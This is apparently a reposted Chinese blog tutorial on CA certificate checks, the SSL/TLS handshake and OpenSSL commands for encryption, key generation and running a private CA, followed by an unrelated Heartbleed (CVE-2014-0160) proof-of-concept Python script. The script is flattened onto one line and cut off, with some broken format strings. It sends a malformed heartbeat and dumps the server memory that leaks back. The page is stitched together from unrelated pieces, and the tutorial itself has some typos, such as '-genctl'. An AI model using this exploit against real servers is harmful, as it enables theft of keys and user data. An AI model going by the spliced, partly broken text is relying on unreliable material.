Open SSL

CA(签证机构)如何发挥作用?
1.通信双方互相交换证书;
2.双方验证证书的真伪;
3.双方协商加密算法;
4.用CA颁发的公钥解密证书的中CA的签名,能解密说明证书来源可靠;
5.用CA的加密算法加密证书,并取得特征值;与解密出来的特征值进行比较,如果相同,说明证书完整性有保证;
6.检查证书的有效期是否合法,如果在有效期内,则证书可用;
7.检查证书的主体名称和此次通信的目标是否能够对应;
8.检查证书是否被吊销;

能够实现上述安全加密功能的协议:
SSL:Security Socket Layer,安全套接字层;
TLS:Transport Layer Security,传输层安全协议;

SSL/TLS的handshake的四个阶段:
1.客户端向服务器索要证书并验证证书;
发送Client Hello的消息,此消息主要内容:
支持的协议的版本,如:SSL v3.0或TLS v1.2;
客户端生成一个随机数,稍后用于生成回话密钥;
支持的加密算法,如:DES,3DES,AES,RSA,....
支持的压缩算法,如:gzip,bzip2,deflate,...

    2.双方协商生成会话密钥:
        发送Server Hello消息,此消息主要内容:
            确认使用的协议的版本,如:TLS v1.2
            服务器也生成一个随机数,稍后用于生成会话密钥;
            确认加密算法和压缩算法;
            服务器的证书;

    3.双方采用以及生成的会话密钥进行安全加密的数据通信:
        客户端验证服务器证书,在确认无误后,取出其中的服务器公钥;
            验证服务器证书的步骤:
                验证发证机构(CA);
                验证证书的完整性;
                验证证书的持有者信息;
                验证证书的有效期;
                验证CA的吊销列表中是否有此证书;
        客户端发送信息给服务器端;
        客户端再次生成一个随机数,用于公钥加密;
        编码格式的变更通知,表示以后的信息都将采用双方已经协商好的加密算法和压缩算法;
            客户端握手结束;

        服务器收到客户端发送来的第三个随机数(Pre_Master_key),计算生成此次会话用到的会话密钥,向客户端发送相关信息;
        编码格式的变更通知,表示以后的信息都将采用双方已经协商好的加密算法和压缩算法;
            服务器端握手结束;

    4.双方互相结束通信:

    SSL/TLS的handshake的四个阶段:
    1.Client Hello
    2.Server Hello
    3.通信双方采用已经生成的会话密钥进行安全加密的数据通信;
    4.双方结束通信;

    实现SSL/TLS协议的应用程序:OpenSSL

    OpenSSL:开源的实现SSL/TLS协议的事实的标准;
   主要有三部分组成:
               1)libcrypto:实现加密和解密算法的库;
               2)libssl:实现SSL协议/TLS协议功能的库;
               3)openssl:多用途命令行工具;

openssl命令行工具:
    众多的子命令实现各种安全加密功能;

    标准命令:
        enc, dgst, ca, req, genrsa, rand, rsa, x509, passwd, ...

    对称加密命令:enc
            提供对称加密算法,以进行数据或文件的手动加密;

            格式:openssl enc -ciphername [-in filename] [-out filename] [-e] [-d] [-a/-base64] [-salt]
                -ciphername:加密算法的名称
                -in filename:openssl要读取的文件路径;
                -out filename:加密或解密操作后用于保存结果的文件路径;
                -e:加密操作
                -d:解密操作
                -a/-base64:用纯文本格式进行密文编码;
                -salt:随机加盐;

示例:# openssl enc -e -des3 -in ytc.txt -a -out ytc1.txt(加密)

cat ytc1.txt

       U2FsdGVkX1/PqNTpFQqp/nFppi3xdBEIIyaasE5rNwc=

                 # openssl enc -d -des3 -out ytc.txt -a -in ytc1.txt(解密)

单向解密命令:dgst
            示例:
                ~]# openssl dgst -sha1 fstab

        生成随机数命令:rand
            openssl rand [-out file] [-rand file(s)] [-base64] [-hex] num

            示例:# openssl rand -base64 16
               JFPWNuu5WzXqfIk7luSBWA==

        生成带盐的密码:passwd
            openssl passwd -1 -salt SALT_STRING

            示例:
                ~]# openssl passwd -1 -salt 01234567

        公钥加密算法:genrsa
            生成rsa加密算法的私钥;

            openssl genrsa [-out filename] [-des] [-des3] [-idea] [-f4] [-3] [numbits]

            出于安全考虑,需要给创建的私钥赋予只有拥有者才能读写其他任何人都不能读写的权限;建议使用下列方法生成私钥:
                ~]# (umask 077 ; openssl genrsa -out /tmp/my.key 4096)
                ~]# (umask 077 ; openssl genrsa > /tmp/my.key 4096)

        从以及生成的私钥文件中抽取公钥:rsa
            openssl rsa [-in filename] [-out filename] [-pubout]
                -pubout:抽取公钥
                -in filename:私钥文件的路径
                -out filename:公钥文件的路径

                示例:
                    ~]# openssl rsa -in my.key -out mykey.pub -pubout

利用openssl建立私有CA步骤:
       1.创建CA的私钥文件:
        (umask 077 ; openssl genrsa -out /etc/pki/CA/private/cakey.pem 2048)

    2.生成自签证书:
        openssl req命令:
            openssl req [-out filename] [-new] [-key filename] [-x509] [-days n]

    3.完善目录及文本文件结构:
        touch /etc/pki/CA/index.txt
        echo 01 > /etc/pki/CA/serial

在CA上查看证书内容:
    openssl x509 -in /etc/pki/CA/cacert.pem -noout -serial -subject

吊销证书:必须在CA上执行;
    1.获取客户端证书对应的序列号:
        openssl x509 -in /etc/pki/CA/certificate -noout -serial

    2.吊销证书:
        openssl ca -revoke /etc/pki/CA/newcerts/SERIAL.pem

        注意:上述命令中的"SERIAL"要换成准备吊销的证书的序列号;

    3.生成吊销证书的吊销索引文件;仅需要第一次吊销证书时执行此操作:
        echo "SERIAL" > /etc/pki/CA/crl/crlnumber

    4.更新证书吊销列表:
        openssl ca -genctl -out /etc/pki/CA/crl/ca.crl

    5.查看CRL:
        openssl crl -in /etc/pki/CA/crl/ca.crl -noout -text

转载于:https://blog.51cto.com/yuantianchi/2095133

#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值